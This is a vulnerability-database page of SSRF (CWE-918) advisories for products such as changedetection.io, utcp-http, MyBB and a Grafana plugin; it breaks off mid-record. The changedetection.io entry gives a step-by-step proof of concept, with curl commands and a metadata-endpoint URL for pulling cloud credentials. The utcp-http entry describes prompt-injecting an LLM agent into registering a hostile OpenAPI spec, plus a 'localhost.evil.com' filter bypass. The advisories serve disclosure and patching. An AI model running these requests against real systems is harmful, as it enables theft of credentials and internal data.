CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4806 vulnerabilities reference this CWE, most recent first.
GHSA-3995-CWRC-82PQ
Vulnerability from github – Published: 2025-04-22 00:30 – Updated: 2025-04-22 00:30IBM Maximo Asset Management 7.6.1.3 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
{
"affected": [],
"aliases": [
"CVE-2025-2987"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-22T00:15:13Z",
"severity": "LOW"
},
"details": "IBM Maximo Asset Management 7.6.1.3 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
"id": "GHSA-3995-cwrc-82pq",
"modified": "2025-04-22T00:30:31Z",
"published": "2025-04-22T00:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2987"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7231390"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3996-4M5R-MMWF
Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-23 15:30An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Change Avatar function.
{
"affected": [],
"aliases": [
"CVE-2025-29458"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T22:15:15Z",
"severity": "HIGH"
},
"details": "An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Change Avatar function.",
"id": "GHSA-3996-4m5r-mmwf",
"modified": "2025-04-23T15:30:47Z",
"published": "2025-04-18T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29458"
},
{
"type": "WEB",
"url": "https://docs.mybb.com/1.8/administration/security/protection/#limit-access-to-private-hosts-and-ip-addresses"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/qu7zyyxr84qno64e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-399R-X9VW-2F8X
Vulnerability from github – Published: 2025-10-16 21:31 – Updated: 2025-10-16 21:31A vulnerability was identified in NucleoidAI Nucleoid up to 0.7.10. The impacted element is the function extension.apply of the file /src/cluster.ts of the component Outbound Request Handler. Such manipulation of the argument https/ip/port/path/headers leads to server-side request forgery. The attack may be performed from remote.
{
"affected": [],
"aliases": [
"CVE-2025-11864"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-16T21:15:34Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in NucleoidAI Nucleoid up to 0.7.10. The impacted element is the function extension.apply of the file /src/cluster.ts of the component Outbound Request Handler. Such manipulation of the argument https/ip/port/path/headers leads to server-side request forgery. The attack may be performed from remote.",
"id": "GHSA-399r-x9vw-2f8x",
"modified": "2025-10-16T21:31:16Z",
"published": "2025-10-16T21:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11864"
},
{
"type": "WEB",
"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/Nucleoid.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.328809"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.328809"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.669928"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-39J6-4867-GG4W
Vulnerability from github – Published: 2026-05-07 22:32 – Updated: 2026-05-15 23:45Summary
The utcp-http plugin is vulnerable to a blind Server-Side Request Forgery (SSRF) caused by a trust-boundary inconsistency between manual discovery and tool invocation. register_manual() validates the discovery URL against an HTTPS / loopback allowlist, but call_tool() and call_tool_streaming() reuse the resolved tool_call_template.url directly without revalidating. An attacker who hosts a malicious OpenAPI spec on a legitimate HTTPS endpoint can declare servers: [{ url: "http://169.254.169.254" }] (or any internal address) in the spec; the OpenAPI converter blindly trusts that value and the tool becomes a blind SSRF primitive that exposes cloud metadata, internal services, and other firewalled-only endpoints to the LLM caller.
All three HTTP-class protocols (utcp_http.http, utcp_http.streamable_http, utcp_http.sse) shared the same gap, plus a separate prefix-bypass: the previous startswith("http://localhost") check let URLs like http://localhost.evil.com through.
Impact
A remote attacker who can convince the agent (via the LLM context, prompt injection, or a tool-discovery surface) to register their HTTPS OpenAPI URL can:
- Map internal networks behind the agent.
- Read AWS/GCP IAM credentials from cloud metadata endpoints (http://169.254.169.254, http://metadata.google.internal).
- Reach unauthenticated internal services (Elasticsearch, Redis HTTP, internal admin panels).
- Have responses returned to the LLM, which combined with prompt injection enables exfiltration back to the attacker.
Affected versions
utcp-http <= 1.1.1.
Patched versions
utcp-http 1.1.2.
Patch
Commit: 5b16e43 on dev.
- New
utcp_http._securityhelper:ensure_secure_url(url, context=...)parses the URL withurllib.parse.urlparseand validates the hostname (not a string prefix) against the loopback set, closing thelocalhost.evil.combypass. - All three protocols call
ensure_secure_url(url, context="manual discovery")inregister_manual(replacing the duplicated prefix check) andensure_secure_url(url, context="tool invocation")immediately before each aiohttp request incall_tool/call_tool_streaming. The runtime check is the actual SSRF fix. - New regression tests in
test_security.pypin the accept/reject decisions and explicitly cover the historical bypass cases.
Workarounds
For users who cannot upgrade immediately:
- Refuse to call register_manual with any URL controlled by an untrusted party, even over HTTPS.
- Restrict outbound network access from the host running the agent so internal addresses (RFC1918, 169.254.0.0/16, loopback for cloud metadata) are unreachable.
Credit
Discovered and reported by @YLChen-007 in #83.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.1"
},
"package": {
"ecosystem": "PyPI",
"name": "utcp-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44661"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T22:32:54Z",
"nvd_published_at": "2026-05-14T21:16:47Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `utcp-http` plugin is vulnerable to a blind Server-Side Request Forgery (SSRF) caused by a trust-boundary inconsistency between manual discovery and tool invocation. `register_manual()` validates the discovery URL against an HTTPS / loopback allowlist, but `call_tool()` and `call_tool_streaming()` reuse the resolved `tool_call_template.url` directly without revalidating. An attacker who hosts a malicious OpenAPI spec on a legitimate HTTPS endpoint can declare `servers: [{ url: \"http://169.254.169.254\" }]` (or any internal address) in the spec; the OpenAPI converter blindly trusts that value and the tool becomes a blind SSRF primitive that exposes cloud metadata, internal services, and other firewalled-only endpoints to the LLM caller.\n\nAll three HTTP-class protocols (`utcp_http.http`, `utcp_http.streamable_http`, `utcp_http.sse`) shared the same gap, plus a separate prefix-bypass: the previous `startswith(\"http://localhost\")` check let URLs like `http://localhost.evil.com` through.\n\n## Impact\n\nA remote attacker who can convince the agent (via the LLM context, prompt injection, or a tool-discovery surface) to register their HTTPS OpenAPI URL can:\n- Map internal networks behind the agent.\n- Read AWS/GCP IAM credentials from cloud metadata endpoints (`http://169.254.169.254`, `http://metadata.google.internal`).\n- Reach unauthenticated internal services (Elasticsearch, Redis HTTP, internal admin panels).\n- Have responses returned to the LLM, which combined with prompt injection enables exfiltration back to the attacker.\n\n## Affected versions\n\n`utcp-http \u003c= 1.1.1`.\n\n## Patched versions\n\n`utcp-http 1.1.2`.\n\n## Patch\n\nCommit: 5b16e43 on `dev`.\n\n- New `utcp_http._security` helper: `ensure_secure_url(url, context=...)` parses the URL with `urllib.parse.urlparse` and validates the hostname (not a string prefix) against the loopback set, closing the `localhost.evil.com` bypass.\n- All three protocols call `ensure_secure_url(url, context=\"manual discovery\")` in `register_manual` (replacing the duplicated prefix check) and `ensure_secure_url(url, context=\"tool invocation\")` immediately before each aiohttp request in `call_tool` / `call_tool_streaming`. The runtime check is the actual SSRF fix.\n- New regression tests in `test_security.py` pin the accept/reject decisions and explicitly cover the historical bypass cases.\n\n## Workarounds\n\nFor users who cannot upgrade immediately:\n- Refuse to call `register_manual` with any URL controlled by an untrusted party, even over HTTPS.\n- Restrict outbound network access from the host running the agent so internal addresses (RFC1918, 169.254.0.0/16, loopback for cloud metadata) are unreachable.\n\n## Credit\n\nDiscovered and reported by [@YLChen-007](https://github.com/YLChen-007) in #83.",
"id": "GHSA-39j6-4867-gg4w",
"modified": "2026-05-15T23:45:57Z",
"published": "2026-05-07T22:32:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-39j6-4867-gg4w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44661"
},
{
"type": "PACKAGE",
"url": "https://github.com/universal-tool-calling-protocol/python-utcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "utcp-http vulnerable to SSRF via attacker-controlled OpenAPI servers[0].url in HTTP communication protocol"
}
GHSA-3C45-4PJ5-CH7M
Vulnerability from github – Published: 2026-02-25 19:08 – Updated: 2026-02-25 19:08Summary
Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function is_safe_valid_url() does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:
http://169.254.169.254http://10.0.0.1/http://127.0.0.1/
The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.
This is particularly severe because:
- The fetched content is stored and viewable - this is not a blind SSRF
- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources
- By default, no password is set - the web UI is accessible without authentication
- Self-hosted deployments typically run on cloud infrastructure where
169.254.169.254returns real IAM credentials
Details
The URL validation function is_safe_valid_url() in changedetectionio/validate_url.py (lines 60–122) validates the URL protocol (http/https/ftp) and format using the validators library, but does not perform any DNS resolution or IP address validation:
# changedetectionio/validate_url.py:60-122
@lru_cache(maxsize=1000)
def is_safe_valid_url(test_url):
safe_protocol_regex = '^(http|https|ftp):'
# Check protocol
pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)
if not pattern.match(test_url.strip()):
return False
# Check URL format
if not validators.url(test_url, simple_host=True):
return False
return True # No IP address validation performed
The HTTP fetcher in changedetectionio/content_fetchers/requests.py (lines 83–89) then makes the request without any additional IP validation:
# changedetectionio/content_fetchers/requests.py:83-89
r = session.request(method=request_method,
url=url, # User-provided URL, no IP validation
headers=request_headers,
timeout=timeout,
proxies=proxies,
verify=False)
The response content is stored and made available to the user:
# changedetectionio/content_fetchers/requests.py:140-142
self.content = r.text # Text content stored
self.raw_content = r.content # Raw bytes stored
This validation gap exists in all entry points that accept watch URLs:
- Web UI:
changedetectionio/store/__init__.py:718 - REST API:
changedetectionio/api/watch.py:163, 428 - Import API:
changedetectionio/api/import.py:188
All use the same is_safe_valid_url() function, so a single fix addresses all paths.
PoC
Prerequisites
- A changedetection.io instance (Docker deployment)
- Network access to the instance (default port 5000)
Step 1: Deploy changedetection.io with an internal service
Create internal-service.py:
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({
'Code': 'Success',
'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',
'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'
}).encode())
HTTPServer(('0.0.0.0', 80), H).serve_forever()
Create Dockerfile.internal:
FROM python:3.11-slim
COPY internal-service.py /server.py
CMD ["python3", "/server.py"]
Create docker-compose.yml:
version: "3.8"
services:
changedetection:
image: ghcr.io/dgtlmoon/changedetection.io
ports:
- "5000:5000"
volumes:
- ./datastore:/datastore
internal-service:
build:
context: .
dockerfile: Dockerfile.internal
Start the stack:
docker compose up -d
Step 2: Add a watch for the internal service
Open http://localhost:5000/ in a browser (no password required by default).
In the URL field, enter:
http://internal-service/
Click Watch and wait for the first check to complete.
Step 3: View the exfiltrated data
Click on the watch entry, then click Preview. The page displays the internal service’s response containing the simulated credentials:
{
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
...
}
Step 4: Verify via API (alternative)
# Get the API key (visible in Settings page of the unauthenticated web UI)
API_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \
python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])")
# Create a watch via API
WATCH_RESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \
-H "x-api-key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"url": "http://internal-service/"}')
WATCH_UUID=$(echo "$WATCH_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])")
echo "Watch created: $WATCH_UUID"
# Wait for the first fetch to complete
echo "Waiting 30s for first fetch..."
sleep 30
# Retrieve the exfiltrated data via API
LATEST_TS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history" \
-H "x-api-key: $API_KEY" | \
python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')")
echo "=== EXFILTRATED DATA ==="
curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS" \
-H "x-api-key: $API_KEY"
Expected output — the internal service’s response containing simulated credentials:
{
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
...
}
In a real cloud deployment, replacing http://internal-service/ with:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
would return real AWS IAM credentials.
Impact
Who is impacted:
All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at 169.254.169.254 is accessible.
What an attacker can do:
- Steal cloud credentials: Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens
- Scan internal networks: Discover internal services by adding watches for internal IP ranges and observing responses
- Access internal services: Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet
- Persistent access: Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources
- No authentication required by default: The web UI has no password set by default, allowing any user with network access to exploit this vulnerability
Suggested Remediation
Add IP address validation to is_safe_valid_url() in changedetectionio/validate_url.py:
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'), # Loopback
ipaddress.ip_network('10.0.0.0/8'), # Private (RFC 1918)
ipaddress.ip_network('172.16.0.0/12'), # Private (RFC 1918)
ipaddress.ip_network('192.168.0.0/16'), # Private (RFC 1918)
ipaddress.ip_network('169.254.0.0/16'), # Link-local / Cloud metadata
ipaddress.ip_network('::1/128'), # IPv6 loopback
ipaddress.ip_network('fc00::/7'), # IPv6 unique local
ipaddress.ip_network('fe80::/10'), # IPv6 link-local
]
def is_private_ip(hostname):
"""Check if a hostname resolves to a private/reserved IP address."""
try:
for info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(info[4][0])
for network in BLOCKED_NETWORKS:
if ip in network:
return True
except socket.gaierror:
return True # Block unresolvable hostnames
return False
Then add to is_safe_valid_url() before the final return True:
# Check for private/reserved IP addresses
parsed = urlparse(test_url)
if parsed.hostname and is_private_ip(parsed.hostname):
logger.warning(f"URL '{test_url}' resolves to a private/reserved IP address")
return False
An environment variable (e.g., ALLOW_PRIVATE_IPS=true) could be provided for users who intentionally need to monitor internal services.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "changedetection.io"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.54.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27696"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T19:08:18Z",
"nvd_published_at": "2026-02-25T05:17:26Z",
"severity": "HIGH"
},
"details": "## Summary\n\nChangedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:\n\n- `http://169.254.169.254`\n- `http://10.0.0.1/`\n- `http://127.0.0.1/`\n\nThe application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI \u2014 enabling full data exfiltration from internal services.\n\nThis is particularly severe because:\n\n- The fetched content is stored and viewable - this is not a blind SSRF\n- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources\n- By default, no password is set - the web UI is accessible without authentication\n- Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials\n\n---\n\n## Details\n\nThe URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60\u2013122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation:\n\n```python\n# changedetectionio/validate_url.py:60-122\n@lru_cache(maxsize=1000)\ndef is_safe_valid_url(test_url):\n\n safe_protocol_regex = \u0027^(http|https|ftp):\u0027\n\n # Check protocol\n pattern = re.compile(os.getenv(\u0027SAFE_PROTOCOL_REGEX\u0027, safe_protocol_regex), re.IGNORECASE)\n if not pattern.match(test_url.strip()):\n return False\n\n # Check URL format\n if not validators.url(test_url, simple_host=True):\n return False\n\n return True # No IP address validation performed\n```\n\nThe HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83\u201389) then makes the request without any additional IP validation:\n\n```python\n# changedetectionio/content_fetchers/requests.py:83-89\nr = session.request(method=request_method,\n url=url, # User-provided URL, no IP validation\n headers=request_headers,\n timeout=timeout,\n proxies=proxies,\n verify=False)\n```\nThe response content is stored and made available to the user:\n\n```python\n# changedetectionio/content_fetchers/requests.py:140-142\nself.content = r.text # Text content stored\nself.raw_content = r.content # Raw bytes stored\n```\nThis validation gap exists in all entry points that accept watch URLs:\n\n- Web UI: `changedetectionio/store/__init__.py:718`\n- REST API: `changedetectionio/api/watch.py:163, 428`\n- Import API: `changedetectionio/api/import.py:188`\n\nAll use the same `is_safe_valid_url()` function, so a single fix addresses all paths.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- A changedetection.io instance (Docker deployment)\n- Network access to the instance (default port 5000)\n\n### Step 1: Deploy changedetection.io with an internal service\n\nCreate `internal-service.py`:\n```python\n#!/usr/bin/env python3\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\u0027Content-Type\u0027, \u0027application/json\u0027)\n self.end_headers()\n self.wfile.write(json.dumps({\n \u0027Code\u0027: \u0027Success\u0027,\n \u0027AccessKeyId\u0027: \u0027AKIAIOSFODNN7EXAMPLE\u0027,\n \u0027SecretAccessKey\u0027: \u0027wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\u0027,\n \u0027Token\u0027: \u0027FwoGZXIvYXdzEBYaDExampleSessionToken\u0027\n }).encode())\nHTTPServer((\u00270.0.0.0\u0027, 80), H).serve_forever()\n```\n\nCreate `Dockerfile.internal`:\n```\nFROM python:3.11-slim\nCOPY internal-service.py /server.py\nCMD [\"python3\", \"/server.py\"]\n```\n\nCreate `docker-compose.yml`:\n```yaml\nversion: \"3.8\"\nservices:\n changedetection:\n image: ghcr.io/dgtlmoon/changedetection.io\n ports:\n - \"5000:5000\"\n volumes:\n - ./datastore:/datastore\n\n internal-service:\n build:\n context: .\n dockerfile: Dockerfile.internal\n```\n\nStart the stack:\n\n```bash\ndocker compose up -d\n```\n\n### Step 2: Add a watch for the internal service\n\nOpen `http://localhost:5000/` in a browser (no password required by default).\n\nIn the URL field, enter:\n```\nhttp://internal-service/\n```\nClick **Watch** and wait for the first check to complete.\n\n### Step 3: View the exfiltrated data\n\nClick on the watch entry, then click **Preview**. The page displays the internal service\u2019s response containing the simulated credentials:\n```json\n{\n \"Code\": \"Success\",\n \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n ...\n}\n```\n\u003cimg width=\"2291\" height=\"780\" alt=\"Screenshot 2026-02-16 084212\" src=\"https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd\" /\u003e\n\n### Step 4: Verify via API (alternative)\n```bash\n# Get the API key (visible in Settings page of the unauthenticated web UI)\nAPI_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \\\n python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027settings\u0027][\u0027application\u0027][\u0027api_access_token\u0027])\")\n\n# Create a watch via API\nWATCH_RESPONSE=$(curl -s -X POST \"http://localhost:5000/api/v1/watch\" \\\n -H \"x-api-key: $API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"http://internal-service/\"}\u0027)\n\nWATCH_UUID=$(echo \"$WATCH_RESPONSE\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027uuid\u0027])\")\necho \"Watch created: $WATCH_UUID\"\n\n# Wait for the first fetch to complete\necho \"Waiting 30s for first fetch...\"\nsleep 30\n\n# Retrieve the exfiltrated data via API\nLATEST_TS=$(curl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history\" \\\n -H \"x-api-key: $API_KEY\" | \\\n python3 -c \"import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print(\u0027\u0027)\")\n\necho \"=== EXFILTRATED DATA ===\"\ncurl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS\" \\\n -H \"x-api-key: $API_KEY\"\n```\nExpected output \u2014 the internal service\u2019s response containing simulated credentials:\n```json\n{\n \"Code\": \"Success\",\n \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n ...\n}\n```\n\nIn a real cloud deployment, replacing `http://internal-service/` with:\n\n```bash\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\nwould return real AWS IAM credentials.\n\n\u003cimg width=\"1140\" height=\"607\" alt=\"Screenshot 2026-02-16 084407\" src=\"https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45\" /\u003e\n\n---\n\n## Impact\n\n**Who is impacted:** \nAll self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible.\n\n**What an attacker can do:**\n\n- **Steal cloud credentials:** Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens\n- **Scan internal networks:** Discover internal services by adding watches for internal IP ranges and observing responses\n- **Access internal services:** Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet\n- **Persistent access:** Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources\n- **No authentication required by default:** The web UI has no password set by default, allowing any user with network access to exploit this vulnerability\n\n---\n\n### Suggested Remediation\n\nAdd IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`:\n\n```python\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n ipaddress.ip_network(\u0027127.0.0.0/8\u0027), # Loopback\n ipaddress.ip_network(\u002710.0.0.0/8\u0027), # Private (RFC 1918)\n ipaddress.ip_network(\u0027172.16.0.0/12\u0027), # Private (RFC 1918)\n ipaddress.ip_network(\u0027192.168.0.0/16\u0027), # Private (RFC 1918)\n ipaddress.ip_network(\u0027169.254.0.0/16\u0027), # Link-local / Cloud metadata\n ipaddress.ip_network(\u0027::1/128\u0027), # IPv6 loopback\n ipaddress.ip_network(\u0027fc00::/7\u0027), # IPv6 unique local\n ipaddress.ip_network(\u0027fe80::/10\u0027), # IPv6 link-local\n]\n\ndef is_private_ip(hostname):\n \"\"\"Check if a hostname resolves to a private/reserved IP address.\"\"\"\n try:\n for info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(info[4][0])\n for network in BLOCKED_NETWORKS:\n if ip in network:\n return True\n except socket.gaierror:\n return True # Block unresolvable hostnames\n return False\n```\n\nThen add to `is_safe_valid_url()` before the final `return True`:\n\n```python\n# Check for private/reserved IP addresses\nparsed = urlparse(test_url)\nif parsed.hostname and is_private_ip(parsed.hostname):\n logger.warning(f\"URL \u0027{test_url}\u0027 resolves to a private/reserved IP address\")\n return False\n```\n\nAn environment variable (e.g., `ALLOW_PRIVATE_IPS=true`) could be provided for users who intentionally need to monitor internal services.",
"id": "GHSA-3c45-4pj5-ch7m",
"modified": "2026-02-25T19:08:18Z",
"published": "2026-02-25T19:08:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27696"
},
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/commit/fe7aa38c651d73fe5f41ce09855fa8f97193747b"
},
{
"type": "PACKAGE",
"url": "https://github.com/dgtlmoon/changedetection.io"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "changedetection.io is Vulnerable to SSRF via Watch URLs"
}
GHSA-3C8W-XM49-2W5F
Vulnerability from github – Published: 2025-04-17 21:31 – Updated: 2025-04-18 18:31An issue in Seo Panel 4.11.0 allows a remote attacker to obtain sensitive information via the Proxy Manager component.
{
"affected": [],
"aliases": [
"CVE-2025-29452"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T21:15:50Z",
"severity": "HIGH"
},
"details": "An issue in Seo Panel 4.11.0 allows a remote attacker to obtain sensitive information via the Proxy Manager component.",
"id": "GHSA-3c8w-xm49-2w5f",
"modified": "2025-04-18T18:31:23Z",
"published": "2025-04-17T21:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29452"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/dsvvsv8get5i2dzg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3C93-92R7-J934
Vulnerability from github – Published: 2025-08-04 09:30 – Updated: 2025-08-04 20:25Grafana is an open-source platform for monitoring and observability. The Infinity datasource plugin, maintained by Grafana Labs, allows visualizing data from JSON, CSV, XML, GraphQL, and HTML endpoints.
If the plugin was configured to allow only certain URLs, an attacker could bypass this restriction using a specially crafted URL. This vulnerability is fixed in version 3.4.1.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana-infinity-datasource"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.2-0.20250731100004-9c736aa21b3a"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-8341"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-04T20:25:39Z",
"nvd_published_at": "2025-08-04T09:15:26Z",
"severity": "MODERATE"
},
"details": "Grafana is an open-source platform for monitoring and observability. The Infinity datasource plugin, maintained by Grafana Labs, allows visualizing data from JSON, CSV, XML, GraphQL, and HTML endpoints.\n\n\nIf the plugin was configured to allow only certain URLs, an attacker could bypass this restriction using a specially crafted URL. This vulnerability is fixed in version 3.4.1.",
"id": "GHSA-3c93-92r7-j934",
"modified": "2025-08-04T20:25:39Z",
"published": "2025-08-04T09:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8341"
},
{
"type": "WEB",
"url": "https://github.com/grafana/grafana-infinity-datasource/commit/9c736aa21b3a669d3070d3f5f80d949326fafa77"
},
{
"type": "PACKAGE",
"url": "https://github.com/grafana/grafana-infinity-datasource"
},
{
"type": "WEB",
